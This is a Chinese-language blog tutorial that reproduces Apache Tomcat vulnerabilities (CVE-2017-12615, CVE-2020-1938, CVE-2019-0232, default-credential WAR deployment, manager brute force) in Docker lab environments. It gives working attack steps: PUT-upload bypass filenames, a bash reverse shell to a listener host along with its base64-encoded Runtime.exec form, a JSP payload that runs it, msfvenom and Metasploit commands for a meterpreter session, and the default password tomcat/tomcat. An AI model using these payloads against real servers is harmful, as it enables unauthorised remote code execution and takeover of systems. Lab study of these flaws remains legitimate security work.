<menu id="guoca"></menu>
<nav id="guoca"></nav><xmp id="guoca">
  • <xmp id="guoca">
  • <nav id="guoca"><code id="guoca"></code></nav>
  • <nav id="guoca"><code id="guoca"></code></nav>

    最全的Tomcat漏洞復現

    VSole2022-01-01 08:00:52

    簡介

    Tomcat是Apache 軟件基金會(Apache Software Foundation)的Jakarta 項目中的一個核心項目,由Apache、Sun 和其他一些公司及個人共同開發而成。由于有了Sun 的參與和支持,最新的Servlet 和JSP 規范總是能在Tomcat 中得到體現,Tomcat 5支持最新的Servlet 2.4 和JSP 2.0 規范。因為Tomcat 技術先進、性能穩定,而且免費,因而深受Java 愛好者的喜愛并得到了部分軟件開發商的認可,成為目前比較流行的Web 應用服務器。

    Tomcat 服務器是一個免費的開放源代碼的Web 應用服務器,屬于輕量級應用服務器,在中小型系統和并發訪問用戶不是很多的場合下被普遍使用,是開發和調試JSP 程序的首選。對于一個初學者來說,可以這樣認為,當在一臺機器上配置好Apache 服務器,可利用它響應HTML(標準通用標記語言下的一個應用)頁面的訪問請求。實際上Tomcat是Apache 服務器的擴展,但運行時它是獨立運行的,所以當你運行tomcat 時,它實際上作為一個與Apache 獨立的進程單獨運行的。

    訣竅是,當配置正確時,Apache 為HTML頁面服務,而Tomcat 實際上運行JSP 頁面和Servlet。另外,Tomcat和IIS等Web服務器一樣,具有處理HTML頁面的功能,另外它還是一個Servlet和JSP容器,獨立的Servlet容器是Tomcat的默認模式。不過,Tomcat處理靜態HTML的能力不如Apache服務器。目前Tomcat最新版本為10.0.5。

    CVE-2017-12615

    CVE-2017-12615對應的漏洞為任意文件寫入,主要影響的是Tomcat的7.0.0-7.0.81這幾個版本

    漏洞原理

    由于配置不當(非默認配置),將配置文件conf/web.xml中的readonly設置為了 false,導致可以使用PUT方法上傳任意文件,但限制了jsp后綴的上傳

    根據描述,在 Windows 服務器下,將 readonly 參數設置為 false 時,即可通過 PUT 方式創建一個 JSP 文件,并可以執行任意代碼

    通過閱讀 conf/web.xml 文件,可以發現,默認 readonly 為 true,當 readonly 設置為 false 時,可以通過 PUT / DELETE 進行文件操控

    漏洞復現

    這里使用vuluhub的docker進行漏洞復現,這里就不詳細介紹環境搭建了

    首先進入CVE-2017-12615的docker環境

    sudo docker-compose up -ddocker ps    //查看docker環境是否啟動成功
    

    這里首先進入docker里查看一下web.xml的代碼,可以看到這里readonly設置為false,所以存在漏洞

    sudo docker exec -ti ec bash    //進入docker容器cat conf/web.xml | grep readonly
    

    訪問下8080端口,對應的是Tomcat 8.5.19

    在8080端口進行抓包,這里發現是一個GET方法

    這里首先測試一下,改為PUT方法寫入一個test.txt,這里看到返回201,應該已經上傳成功了

    PUT /test.txt HTTP/1.1testpoc
    

    這里進入docker查看一下已經寫入成功了

    cd /usr/local/tomcat/webapps/ROOTls
    

    之前說過,使用PUT方法上傳任意文件,但限制了jsp后綴的上傳,這里首先使用PUT方法直接上傳一個冰蝎的jsp上去,發現返回的是404,應該是被攔截了

    這里就需要進行繞過,這里繞過有三種方法

    1.Windows下不允許文件以空格結尾以PUT /a001.jsp%20 HTTP/1.1上傳到 Windows會被自動去掉末尾空格  
    2.Windows NTFS流Put/a001.jsp::$DATA HTTP/1.1  
    3. /在文件名中是非法的,也會被去除(Linux/Windows)Put/a001.jsp/http:/1.1
    

    首先使用%20繞過。我們知道%20對應的是空格,在windows中若文件這里在jsp后面添加%20即可達到自動抹去空格的效果。這里看到返回201已經上傳成功了

    進入docker查看一下,確認是上傳上去了

    第二種方法為在jsp后綴后面使用/,因為/在文件名中是非法的,在windows和linux中都會自動去除。根據這個特性,上傳/ice1.jsp/,看到返回201

    進入docker查看發現已經上傳成功

    第三種方法就是使用Windows NTFS流,在jsp后面添加::$DATA,看到返回201,上傳成功

    進入docker驗證一下

    這里隨便連接一個jsp即可拿到webshell

    CVE-2020-1938

    CVE-2020-1938為Tomcat AJP文件包含漏洞。由長亭科技安全研究員發現的存在于 Tomcat中的安全漏洞,由于 Tomcat AJP協議設計上存在缺陷,攻擊者通過 Tomcat AJP Connector可以讀取或包含 Tomcat上所有 webapp目錄下的任意文件,例如可以讀取 webapp配置文件或源碼。

    此外在目標應用有文件上傳功能的情況下,配合文件包含的利用還可以達到遠程代碼執行的危害。

    漏洞原理

    Tomcat 配置了兩個Connecto,它們分別是 HTTP 和 AJP :HTTP默認端口為8080,處理http請求,而AJP默認端口8009,用于處理 AJP 協議的請求,而AJP比http更加優化,多用于反向、集群等,漏洞由于Tomcat AJP協議存在缺陷而導致,攻擊者利用該漏洞可通過構造特定參數,讀取服務器webapp下的任意文件以及可以包含任意文件,如果有某上傳點,上傳圖片馬等等,即可以獲取shell

    tomcat默認的conf/server.xml中配置了2個Connector,一個為8080的對外提供的HTTP協議端口,另外一個就是默認的8009 AJP協議端口,兩個端口默認均監聽在外網ip。

    tomcat在接收ajp請求的時候調用org.apache.coyote.ajp.AjpProcessor來處理ajp消息,prepareRequest將ajp里面的內容取出來設置成request對象的Attribute屬性

    因此可以通過此種特性從而可以控制request對象的下面三個Attribute屬性

    javax.servlet.include.request_uri  
    javax.servlet.include.path_info  
    javax.servlet.include.servlet_path
    

    然后封裝成對應的request之后,繼續走servlet的映射流程如下

    漏洞復現

    啟動CVE-2020-1938的docker環境

    首先使用poc進行漏洞檢測,若存在漏洞則可以查看webapps目錄下的所有文件

    git clone https://github.com/YDHCUI/CNVD-2020-10487-Tomcat-Ajp-lfi  
    cd CNVD-2020-10487-Tomcat-Ajp-lfi  
    python CNVD-2020-10487-Tomcat-Ajp-lfi.py    #py2環境
    

    這里查看8009端口下的web.xml文件

    python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.1.8 -p 8009 -f /WEB-INF/web.xml
    

    使用bash反彈shell

    bash -i >& /dev/tcp/192.168.1.8/8888 0>&1
    

    因為是java的原因所以需要轉換一下,使用http://www.jackson-t.ca/runtime-exec-payloads.html,轉換結果如下

    bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuOC84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}
    

    生成一個test.txt,這里只需要換payload就可以

    <%    java.io.InputStream in = Runtime.getRuntime().exec("bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuOC84ODg4IDA+JjE=}|{base64,-d}|{bash,-i}").getInputStream();    int a = -1;    byte[] b = new byte[2048];    out.print("
    ");    while((a=in.read(b))!=-1){        out.println(new String(b));    }    out.print("
    ");%>
    

    bp抓包把test.txt上傳到docker容器

    nc開啟端口監聽

    即可獲得一個交互型shell

    python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.1.8 -p 8009 -f test.txt
    

    這里為了方便,上線到msf上進行操作,首先生成一個shell.txt

    msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 R > shell.txt
    

    抓包將shell.txt上傳到docker

    msf開啟監聽,注意payload使用java/jsp_shell_reverse_tcp

    再使用poc反彈即可上線

    python CNVD-2020-10487-Tomcat-Ajp-lfi.py 192.168.1.8 -p 8009 -f shell.txt
    

    弱口令&war遠程部署

    漏洞原理

    在tomcat8環境下默認進入后臺的密碼為tomcat/tomcat,未修改造成未授權即可進入后臺

    漏洞復現

    進入tomcat8的docker環境

    訪問后臺管理地址,使用tomcat/tomcat進入后臺

    http://192.168.1.8:8080//manager/html
    

    進入到了后臺的頁面

    看到這里有一個上傳war包的地方,這里很多java的中間件都可以用war遠程部署來拿shell,tomcat也不例外

    首先將ice.jsp打包成test.war

    jar -cvf test.war .
    

    點擊上傳即可看到上傳的test.war已經部署成功

    訪問一下沒有報錯404那么應該已經上傳成功

    使用冰蝎連接即可得到shell

    這里也可以用msf里面的exploit/multi/http/tomcat_mgr_upload模塊

    use exploit/multi/http/tomcat_mgr_uploadset HttpPassword tomcatset HttpUsername tomcatset rhost 192.168.1.8set rport 8080run
    

    運行即可得到一個meterpreter

    CVE-2019-0232

    CVE-2019-0232為Apache Tomcat RCE

    漏洞原理

    漏洞相關的代碼在 tomcat\java\org\apache\catalina\servlets\CGIServlet.java 中,CGIServlet提供了一個cgi的調用接口,在啟用 enableCmdLineArguments 參數時,會根據RFC 3875來從Url參數中生成命令行參數,并把參數傳遞至Java的 Runtime 執行。這個漏洞是因為 Runtime.getRuntime().exec 在Windows中和Linux中底層實現不同導致的

    Java的 Runtime.getRuntime().exec 在CGI調用這種情況下很難有命令注入。而Windows中創建進程使用的是 CreateProcess ,會將參數合并成字符串,作為 lpComandLine 傳入 CreateProcess 。程序啟動后調用 GetCommandLine 獲取參數,并調用 CommandLineToArgvW 傳至 argv。在Windows中,當 CreateProcess 中的參數為 bat 文件或是 cmd 文件時,會調用 cmd.exe , 故最后會變成 cmd.exe /c "arg.bat & dir",而Java的調用過程并沒有做任何的轉義,所以在Windows下會存在漏洞

    漏洞復現

    啟動tomcat

    訪問一下已經啟動成功

    Tomcat的 CGI_Servlet組件默認是關閉的,在conf/web.xml中找到注釋的 CGIServlet部分,去掉注釋,并配置enableCmdLineArguments和executable

    這里注意一下,去掉注釋并添加以下代碼

    enableCmdLineArguments啟用后才會將Url中的參數傳遞到命令行executable指定了執行的二進制文件,默認是perl,需要置為空才會執行文件本身。
                enableCmdLineArguments        true                executable            
    

    然后在conf/web.xml中啟用cgi的 servlet-mapping

    修改conf/context.xml的添加 privileged="true"屬性,否則會沒有權限

    添加true

    C:\Tomcat\webapps\ROOT\WEB-INF下創建cgi-bin目錄

    在該目錄下創建一個hello.bat

    然后重啟tomcat環境

    訪問http://localhost:8080/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Ccalc.exe即可彈出計算器,這里構造系統命令即可

    manager App暴力破解

    漏洞原理

    后臺密碼用base64編碼傳輸,抓包解密即可得到后臺密碼,也可以進行爆破

    漏洞復現

    這里訪問http://192.168.1.8:8000/manager/html進行抓包,在沒有輸入帳號密碼的時候是沒有什么數據的

    把這個包放過去,會請求輸入用戶名和密碼,再進行抓包

    就可以得到Authorization這個字段,這個字段有一個Basic,就是base64加密的意思

    這里直接放到base64解密得到tomcat:tomcat的密碼

    進入后臺之后再次抓包可以看到有一個cookie,但是沒有了Authorization這個字段

    我們可以對字段進行爆破,加上Authorization即可

    去掉自帶的編碼

    攻擊即可拿到賬號密碼

    dockerdocker命令
    本作品采用《CC 協議》,轉載必須注明作者和本文鏈接
    此漏洞/攻擊取決于 Kubernetes 集群的配置方式。
    Docker容器入門指北
    2022-05-11 06:43:31
    Docker 是一種基于 Linux 的容器化技術,類似于輕量的虛擬機。它采用 C/S 架構,使用Go語言開發。Docker 分為 2 個版本:社區版和企業版,社區版免費,企業版是收費的
    1Docker 遷移存儲目錄默認情況系統會將 Docker 容器存放在 /var/lib/docker 目錄下[問題起因]?今天通過監控系統,發現公司其中一臺服務器的磁盤快慢,隨即上去看了下,發現?由上述原因,我們都知道,在?中存儲的都是相關于容器的存儲,所以也不能隨便的將其刪除掉。設備進行擴容來達到相同的目的。的詳細參數,請點擊查看?但是需要注意的一點就是,盡量不要用軟鏈, 因為一些?容器編排系統不支持這樣做,比如我們所熟知的?發現容器啟動不了了
    如果您希望啟動并運行一個強大的 ERP 解決方案,Jack Wallen 可以通過 Odoo 和 Docker 提供解決方案。
    七個殺手級Docker命令
    2023-12-22 15:19:58
    Docker是一個容器化平臺,通過操作系統級別的虛擬化技術,實現軟件的打包和容器化運行。借助Docker,開發人員能夠將應用程序以容器的形式進行部署,但在此之前需要構建Docker鏡像。只要熟悉相關Docker命令,開發人員就能輕松完成所有這些步驟,從而實現應用程序的容器化部署。本文將根據使用場景對 Docker 命令進行分類介紹。1 構建 Docker 鏡像構建 Docker 鏡像需要使用 Do
    首先,對Docker架構以及基本安全特性進行介紹,分析了Docker面臨的安全威脅。由于Docker擁有輕量化、高效率和易部署的特點,目前已被廣泛應用于云計算和微服務架構中。本文對Docker安全相關的研究思路、方法和工具進行比較和分析,并指出未來可能的研究方向。此外,Iptables的限制范圍有限,容器網絡仍然容易受到數據鏈路層攻擊,如ARP欺騙等。
    獨立的Docker Swarm1.2.3以上版本。舊版本的Portainer支持獨立Docker Swarm,而Portainer 1.17.0和更新版本不支持它。但是,對于一般需求,Portainer可能并不適合。此外,DockStation在Docker Hub上十分的受歡迎。未來,會重構成 Spring Cloud Alibaba 。
    你是否還在大量控制臺窗口中監控容器,還是對使用終端命令充滿熱情?而使用Docker的圖形用戶界面(GUI)工具,則可以更簡單的對容器進行管理,并提高效率。而且它們都是免費的。
    事先準備一臺linux主機,并且已安裝好docker環境。centos安裝docker環境如下:查詢可安裝版本:
    VSole
    網絡安全專家
      亚洲 欧美 自拍 唯美 另类